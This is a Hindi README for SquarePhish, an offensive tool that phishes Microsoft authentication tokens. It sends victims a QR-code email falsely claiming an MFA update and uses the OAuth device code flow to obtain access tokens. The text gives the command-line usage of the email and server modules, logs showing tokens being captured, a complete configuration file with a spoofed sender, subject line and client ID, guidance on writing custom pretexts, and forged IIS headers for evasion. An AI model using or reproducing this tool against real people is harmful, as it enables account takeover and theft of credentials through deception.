
माइक्रोसॉफ्ट प्रमाणीकरण टोकन को MFA अपडेट बहानों के माध्यम से हार्वेस्ट करने के लिए OAuth डिवाइस कोड प्रमाणीकरण प्रवाह को QR कोड के साथ संयोजित करने वाला उन्नत फ़िशिंग टूल।
SquarePhish एक उन्नत फ़िशिंग उपकरण है जो OAuth डिवाइस कोड प्रमाणीकरण प्रवाह और QR कोड को संयोजित करने वाली तकनीक का उपयोग करता है।
OAuth डिवाइस कोड प्रवाह का उपयोग करके फ़िशिंग हमलों के बारे में अधिक जानकारी के लिए PhishInSuits देखें।
_____ _____ _ _ _
/ ____| | __ \| | (_) | |
| (___ __ _ _ _ __ _ _ __ ___| |__) | |__ _ ___| |__
\___ \ / _` | | | |/ _` | '__/ _ \ ___/| '_ \| / __| '_ \
____) | (_| | |_| | (_| | | | __/ | | | | | \__ \ | | |
|_____/ \__, |\__,_|\__,_|_| \___|_| |_| |_|_|___/_| |_|
| |
|_|
_________
| | /(
| O |/ (
|> |\ ( v0.1.0
|_________| \(
usage: squish.py [-h] {email,server} ...
SquarePhish -- v0.1.0
optional arguments:
-h, --help show this help message and exit
modules:
{email,server}
email send a malicious QR Code email to a provided victim
server host a malicious server QR Codes generated via the 'email' module will
point to that will activate the malicious OAuth Device Code flow
हमलावर SquarePhish के email मॉड्यूल का उपयोग करके पीड़ित को एक दुर्भावनापूर्ण QR कोड ईमेल भेज सकता है। डिफ़ॉल्ट बहाना यह है कि पीड़ित को मोबाइल ईमेल का उपयोग जारी रखने के लिए अपने Microsoft MFA प्रमाणीकरण को अपडेट करना आवश्यक है। वर्तमान में उपयोग में आने वाला क्लाइंट आईडी Microsoft Authenticator ऐप है।
पहले QR कोड भेजकर, हमलावर OAuth डिवाइस कोड प्रवाह को समय से पहले शुरू करने से बच सकता है जो केवल 15 मिनट तक रहता है।
पीड़ित फिर अपने मोबाइल डिवाइस से ईमेल बॉडी में पाए गए QR कोड को स्कैन करेगा। QR कोड पीड़ित को हमलावर नियंत्रित सर्वर (जो SquarePhish के server मॉड्यूल को चला रहा है) पर निर्देशित करेगा, जिसमें URL पैरामीटर उनके ईमेल पते पर सेट होगा।
जब पीड़ित दुर्भावनापूर्ण SquarePhish सर्वर पर विज़िट करता है, तो एक पृष्ठभूमि प्रक्रिया ट्रिगर होती है जो OAuth डिवाइस कोड प्रमाणीकरण प्रवाह शुरू करेगी और पीड़ित को एक उत्पन्न डिवाइस कोड ईमेल करेगी, जिसे उन्हें वैध Microsoft डिवाइस कोड वेबसाइट पर दर्ज करना आवश्यक है (यह OAuth डिवाइस कोड प्रवाह 15 मिनट का टाइमर शुरू करेगा)।
SquarePhish सर्वर तब पृष्ठभूमि में प्रमाणीकरण के लिए पोल करना जारी रखेगा।
[2022-04-08 14:31:51,962] [info] [[email protected]] Polling for user authentication...
[2022-04-08 14:31:57,185] [info] [[email protected]] Polling for user authentication...
[2022-04-08 14:32:02,372] [info] [[email protected]] Polling for user authentication...
[2022-04-08 14:32:07,516] [info] [[email protected]] Polling for user authentication...
[2022-04-08 14:32:12,847] [info] [[email protected]] Polling for user authentication...
[2022-04-08 14:32:17,993] [info] [[email protected]] Polling for user authentication...
[2022-04-08 14:32:23,169] [info] [[email protected]] Polling for user authentication...
[2022-04-08 14:32:28,492] [info] [[email protected]] Polling for user authentication...
पीड़ित फिर ईमेल में दिए गए लिंक से या अपने मोबाइल डिवाइस पर SquarePhish URL पर विज़िट करने से रीडायरेक्ट के माध्यम से Microsoft डिवाइस कोड प्रमाणीकरण साइट पर जाएगा।
पीड़ित फिर प्रदान किया गया डिवाइस कोड दर्ज करेगा और सहमति के लिए संकेत दिया जाएगा।
पीड़ित के प्रमाणीकरण और सहमति देने के बाद, एक प्रमाणीकरण टोकन स्थानीय रूप से सहेजा जाता है और अनुरोध करने वाले एप्लिकेशन के परिभाषित दायरे के माध्यम से हमलावर को पहुंच प्रदान करेगा।
[2022-04-08 14:32:28,796] [info] [[email protected]] Token info saved to [email protected]
वर्तमान दायरा परिभाषा:
"scope": ".default offline_access profile openid"
!महत्वपूर्ण: किसी भी मॉड्यूल का उपयोग करने से पहले, settings.config फ़ाइल में
Requiredके रूप में चिह्नित आवश्यक जानकारी अपडेट करें।
लक्षित पीड़ित को एक उत्पन्न QR कोड भेजें जो OAuth डिवाइस कोड प्रवाह को ट्रिगर करेगा।
usage: squish.py email [-h] [-c CONFIG] [--debug] [-e EMAIL]
optional arguments:
-h, --help show this help message and exit
-c CONFIG, --config CONFIG
squarephish config file [Default: settings.config]
--debug enable server debugging
-e EMAIL, --email EMAIL
victim email address to send initial QR code email to
-u URL, --url URL force a url to use, this will override the default
and will not work with default device flow or
pretext but can be useful if using squarephish to
send lures directing targets to other servers
एक सर्वर होस्ट करें जिस पर एक उत्पन्न QR कोड इंगित किया जाएगा और अनुरोध करने पर OAuth डिवाइस कोड प्रवाह ट्रिगर होगा।
usage: squish.py server [-h] [-c CONFIG] [--debug]
optional arguments:
-h, --help show this help message and exit
-c CONFIG, --config CONFIG
squarephish config file [Default: settings.config]
--debug enable server debugging
निष्पादन के लिए सभी लागू सेटिंग्स settings.config फ़ाइल के माध्यम से पाई और संशोधित की जा सकती हैं। कई आवश्यक जानकारी के टुकड़े हैं जिनका कोई डिफ़ॉल्ट मान नहीं है और उपयोगकर्ता द्वारा भरे जाने चाहिए: SMTP_EMAIL, SMTP_PASSWORD, और SQUAREPHISH_SERVER (केवल ईमेल मॉड्यूल निष्पादित करते समय)। सभी कॉन्फ़िगरेशन विकल्प इन-लाइन टिप्पणियों के माध्यम से सेटिंग्स फ़ाइल में दस्तावेजित किए गए हैं।
नोट: कॉन्फ़िगरेशन के 'EMAIL' अनुभाग में मौजूद SQUAREPHISH_ मान SquarePhish सर्वर चलाते समय सेट किए गए मानों से मेल खाना चाहिए।
[DEFAULT]
SMTP_PORT = 465 # SMTP port, defaulted to 465
SMTP_SERVER = "smtp.gmail.com" # SMTP server, defaulted to GMail
SMTP_PROTO = "ssl" # SMTP protocol: {ssl, tls, None (leave empty)}
SMTP_EMAIL = "" # Provide authenticating email address here
SMTP_PASSWORD = "" # Provide authenticating password here
[EMAIL]
SQUAREPHISH_SERVER = "" # Required: Provide IP address/domain name of hosted SquarePhish server
SQUAREPHISH_PORT = 8443 # Hosted SquarePhish server port, defaulted to 8443 (this should match the below server value)
SQUAREPHISH_ENDPOINT = "/mfa" # Hosted SquarePhish endpoint to trigger OAuth Device Code flow, defaulted to an MFA pretext (this should match the below server value)
FROM_EMAIL = "[email protected]" # Default FROM address when sending an email
SUBJECT = "ACTION REQUIRED: Multi-Factor Authentication (MFA) Update" # Default SUBJECT when sending an email, defauled to an MFA pretext
EMAIL_TEMPLATE = "pretexts/mfa/qrcode_email.html" # Email body template for QR code email to victim
[SERVER]
PORT = 8443
FROM_EMAIL = "[email protected]" # Default FROM address when sending an email
SUBJECT = "ACTION REQUIRED: Multi-Factor Authentication (MFA) Update" # Default SUBJECT when sending an email, defauled to an MFA pretext
CLIENT_ID = "4813382a-8fa7-425e-ab75-3b753aab3abb" # Authenticating client ID, defaulted to Microsoft Authenticator App
ENDPOINT = "/mfa" # Hosted endpoint to trigger OAuth Device Code flow, defaulted to an MFA pretext
CERT_CRT = "" # Server SSL certificate .crt file
CERT_KEY = "" # Server SSL certificate .key file
EMAIL_TEMPLATE = "pretexts/mfa/devicecode_email.html" # Email body template for device code email to victim
PERMISSION_SCOPE = ".default offline_access profile openid" # OAuth permission scope - https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-permissions-and-consent
वर्तमान में, पूर्व-परिभाषित प्रीटेक्स्ट pretexts फ़ोल्डर में पाए जा सकते हैं।
कस्टम प्रीटेक्स्ट लिखने के लिए, pretexts/iphone/ फ़ोल्डर के माध्यम से मौजूदा टेम्पलेट का उपयोग करें। प्रारंभिक QR कोड ईमेल और अनुवर्ती डिवाइस कोड ईमेल दोनों के लिए एक ईमेल टेम्पलेट आवश्यक है।
महत्वपूर्ण: कस्टम प्रीटेक्स्ट लिखते समय, दोनों प्रीटेक्स्ट टेम्पलेट्स में %s की उपस्थिति पर ध्यान दें। यह SquarePhish को ईमेल उत्पन्न करते समय सही डेटा (QR कोड डेटा और/या डिवाइस कोड मान) भरने की अनुमति देने के लिए मौजूद है।
utils.py फ़ाइल में कई HTTP प्रतिक्रिया हेडर परिभाषित हैं। ये हेडर किसी भी मौजूदा Flask प्रतिक्रिया हेडर मानों को ओवरराइड करने और सर्वर से अधिक 'वैध' प्रतिक्रिया प्रदान करने के लिए परिभाषित किए गए हैं। इन हेडर मानों को संशोधित, हटाया जा सकता है और/या बेहतर OPSEC के लिए अतिरिक्त हेडर शामिल किए जा सकते हैं।
{
"vary": "Accept-Encoding",
"server": "Microsoft-IIS/10.0",
"tls_version": "tls1.3",
"content-type": "text/html; charset=utf-8",
"x-appversion": "1.0.8125.42964",
"x-frame-options": "SAMEORIGIN",
"x-ua-compatible": "IE=Edge;chrome=1",
"x-xss-protection": "1; mode=block",
"x-content-type-options": "nosniff",
"strict-transport-security": "max-age=31536000",
}